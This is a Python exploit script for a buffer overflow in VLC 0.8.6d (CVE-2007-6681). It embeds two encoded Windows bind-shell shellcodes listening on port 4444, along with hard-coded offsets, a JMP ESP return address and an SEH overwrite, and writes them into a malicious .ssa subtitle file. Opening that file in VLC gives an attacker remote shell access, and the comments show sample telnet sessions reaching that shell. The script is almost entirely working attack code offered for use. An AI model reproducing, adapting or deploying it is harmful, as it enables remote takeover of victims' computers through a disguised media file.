#!/usr/bin/python # # VLC 0.8.6d Double Sh311 Universal Exploit # CVE-2007-6681 # Vulnerability Discovered by Michal Luczaj # # Coded by Muris Kurgas aka j0rgan http://www.jorgan.users.cg.yu/ # and # Matteo Memelli aka ryujin http://www.be4mind.com - http://www.gray-world.net # WE CODED IT JUST FOR FUN ;) # Cheers to #offsec and all our firends :) and prelate_ hehe #----------------------------------------------------------------------------- # # FIRST SHELL -> NORMAL RET OVERWRITE -> WE OWN EIP # # matte@badrobot:~$ telnet 192.168.1.245 4444 # Trying 192.168.1.245... # Connected to 192.168.1.245. # Escape character is '^]'. # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:\Program Files\VideoLAN\VLC>exit # exit # # AT "EXIT" SEH is CALLED and WE OWN EIP AGAIN :P # SECOND SHELL -> SEH OVERFLOW # # Connection closed by foreign host. # matte@badrobot:~$ telnet 192.168.1.245 4444 # Trying 192.168.1.245... # Connected to 192.168.1.245. # Escape character is '^]'. # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:\Program Files\VideoLAN\VLC> #----------------------------------------------------------------------------- # win32_bind - EXITFUNC=seh LPORT=4444 # Size=709 Encoder=PexAlphaNum http://metasploit.com SHELLCODE1 = ( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e" "\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48" "\x4e\x36\x46\x52\x46\x32\x4b\x38\x45\x54\x4e\x43\x4b\x48\x4e\x37" "\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x51\x4b\x38" "\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x48" "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c" "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x33\x46\x55\x46\x52\x4a\x32\x45\x57\x45\x4e\x4b\x48" "\x4f\x35\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x44" "\x4b\x48\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x52\x4b\x48" "\x49\x38\x4e\x36\x46\x42\x4e\x51\x41\x46\x43\x4c\x41\x33\x4b\x4d" "\x46\x56\x4b\x58\x43\x54\x42\x33\x4b\x48\x42\x34\x4e\x50\x4b\x38" "\x42\x57\x4e\x31\x4d\x4a\x4b\x38\x42\x34\x4a\x50\x50\x35\x4a\x36" "\x50\x48\x50\x54\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56" "\x43\x35\x48\x56\x4a\x56\x43\x53\x44\x53\x4a\x36\x47\x37\x43\x57" "\x44\x33\x4f\x55\x46\x35\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x45\x49\x48\x45\x4e" "\x48\x46\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x55\x4c\x46\x44\x50" "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" "\x4f\x4f\x48\x4d\x43\x45\x43\x45\x43\x55\x43\x55\x43\x45\x43\x34" "\x43\x55\x43\x34\x43\x55\x4f\x4f\x42\x4d\x48\x46\x4a\x56\x41\x51" "\x4e\x55\x48\x46\x43\x45\x49\x58\x41\x4e\x45\x49\x4a\x56\x46\x4a" "\x4c\x51\x42\x47\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x56\x42\x31" "\x41\x45\x45\x45\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x52" "\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x35\x4f\x4f\x42\x4d" "\x4a\x36\x45\x4e\x49\x34\x48\x38\x49\x54\x47\x45\x4f\x4f\x48\x4d" "\x42\x45\x46\x55\x46\x35\x45\x55\x4f\x4f\x42\x4d\x43\x59\x4a\x46" "\x47\x4e\x49\x57\x48\x4c\x49\x47\x47\x35\x4f\x4f\x48\x4d\x45\x45" "\x4f\x4f\x42\x4d\x48\x56\x4c\x46\x46\x56\x48\x46\x4a\x36\x43\x36" "\x4d\x56\x49\x38\x45\x4e\x4c\x56\x42\x55\x49\x55\x49\x42\x4e\x4c" "\x49\x58\x47\x4e\x4c\x36\x46\x54\x49\x58\x44\x4e\x41\x43\x42\x4c" "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x54\x4e\x42" "\x43\x49\x4d\x48\x4c\x47\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46" "\x44\x57\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x37\x46\x54\x4f\x4f" "\x48\x4d\x4b\x55\x47\x55\x44\x45\x41\x55\x41\x55\x41\x35\x4c\x46" "\x41\x30\x41\x35\x41\x55\x45\x55\x41\x35\x4f\x4f\x42\x4d\x4a\x46" "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36" "\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x58\x47\x35\x4e\x4f" "\x43\x48\x46\x4c\x46\x56\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d" "\x4a\x36\x42\x4f\x4c\x38\x46\x50\x4f\x35\x43\x55\x4f\x4f\x48\x4d" "\x4f\x4f\x42\x4d\x5a" ) # win32_bind - EXITFUNC=thread LPORT=4444 # [*] x86/alpha_mixed succeeded, final size 698 SHELLCODE2 = ( "\x89\xe7\xd9\xcb\xd9\x77\xf4\x58\x50\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" "\x4b\x4c\x42\x4a\x4a\x4b\x50\x4d\x4a\x48\x4a\x59\x4b\x4f\x4b" "\x4f\x4b\x4f\x45\x30\x4c\x4b\x42\x4c\x46\x44\x51\x34\x4c\x4b" "\x51\x55\x47\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x43\x31\x4a" "\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43\x31" "\x4a\x4b\x50\x49\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x50" "\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43\x37" "\x49\x51\x49\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4b\x44\x47" "\x4b\x51\x44\x47\x54\x47\x58\x42\x55\x4b\x55\x4c\x4b\x51\x4f" "\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c" "\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x43\x33\x46\x4c\x4c\x4b" "\x4d\x59\x42\x4c\x47\x54\x45\x4c\x45\x31\x48\x43\x50\x31\x49" "\x4b\x45\x34\x4c\x4b\x50\x43\x50\x30\x4c\x4b\x47\x30\x44\x4c" "\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x47\x30\x43\x38\x51" "\x4e\x43\x58\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f" "\x4e\x36\x45\x36\x50\x53\x45\x36\x42\x48\x46\x53\x50\x32\x42" "\x48\x42\x57\x42\x53\x46\x52\x51\x4f\x51\x44\x4b\x4f\x4e\x30" "\x42\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x4e" "\x36\x51\x4f\x4b\x39\x4b\x55\x42\x46\x4b\x31\x4a\x4d\x43\x38" "\x45\x52\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38\x4e" "\x39\x44\x49\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48\x56\x50\x53" "\x51\x43\x46\x33\x46\x33\x51\x43\x47\x33\x51\x43\x47\x33\x51" "\x43\x4b\x4f\x4e\x30\x43\x56\x43\x58\x44\x51\x51\x4c\x45\x36" "\x46\x33\x4d\x59\x4b\x51\x4a\x35\x42\x48\x4e\x44\x45\x4a\x42" "\x50\x49\x57\x46\x37\x4b\x4f\x4e\x36\x43\x5a\x44\x50\x50\x51" "\x50\x55\x4b\x4f\x48\x50\x42\x48\x49\x34\x4e\x4d\x46\x4e\x4b" "\x59\x46\x37\x4b\x4f\x48\x56\x51\x43\x46\x35\x4b\x4f\x48\x50" "\x45\x38\x4b\x55\x51\x59\x4d\x56\x47\x39\x51\x47\x4b\x4f\x48" "\x56\x46\x30\x46\x34\x46\x34\x51\x45\x4b\x4f\x4e\x30\x4a\x33" "\x45\x38\x4d\x37\x43\x49\x48\x46\x43\x49\x51\x47\x4b\x4f\x4e" "\x36\x51\x45\x4b\x4f\x48\x50\x43\x56\x43\x5a\x43\x54\x43\x56" "\x43\x58\x42\x43\x42\x4d\x4b\x39\x4b\x55\x42\x4a\x50\x50\x46" "\x39\x46\x49\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4d\x59" "\x4b\x52\x50\x31\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x51\x52\x46" "\x4d\x4b\x4e\x47\x32\x46\x4c\x4a\x33\x4c\x4d\x43\x4a\x47\x48" "\x4e\x4b\x4e\x4b\x4e\x4b\x45\x38\x43\x42\x4b\x4e\x4e\x53\x44" "\x56\x4b\x4f\x44\x35\x47\x34\x4b\x4f\x49\x46\x51\x4b\x50\x57" "\x46\x32\x50\x51\x46\x31\x50\x51\x43\x5a\x45\x51\x46\x31\x46" "\x31\x46\x35\x46\x31\x4b\x4f\x48\x50\x45\x38\x4e\x4d\x48\x59" "\x44\x45\x48\x4e\x51\x43\x4b\x4f\x49\x46\x43\x5a\x4b\x4f\x4b" "\x4f\x50\x37\x4b\x4f\x4e\x30\x4c\x4b\x51\x47\x4b\x4c\x4b\x33" "\x48\x44\x42\x44\x4b\x4f\x49\x46\x50\x52\x4b\x4f\x4e\x30\x42" "\x48\x4a\x4f\x48\x4e\x4d\x30\x45\x30\x46\x33\x4b\x4f\x49\x46" "\x4b\x4f\x4e\x30\x44\x4a\x41\x41" ) OFFSET1 = 'A'*152242 NOP1 = '\x90'*16 OFFSET2 = 'B'*10901 JMPESP = '\x59\x65\xFE\x62' # 0x62FE6559 jmp ESP libvlc.dll OFFSET3 = 'C'*674 SEH = '\x66\x14\x40' # POP POP RET in vlc.exe JMPBACK = '\xE9\x2E\xCD\xFF\xFF' # ^E9 2ECDFFFF JMP 0250CCD2 JMPS = '\xEB\xF9\x90\x90' EVIL = OFFSET1 + NOP1 + SHELLCODE1 + OFFSET2 + JMPESP + SHELLCODE1 + OFFSET3 + JMPBACK + JMPS + SEH fileHandle = open('film1.ssa', 'w' ) fileHandle.write('[Script Info]\n') fileHandle.write('ScriptType: v4.00\n') fileHandle.write('Title: VLC 0.8.6d buffer-overflow\n') fileHandle.write('Collisions: Normal\n\n') fileHandle.write('[V4 Styles]\n\n') fileHandle.write('[Events]\n') fileHandle.write('Dialogue: '+ EVIL) fileHandle.close()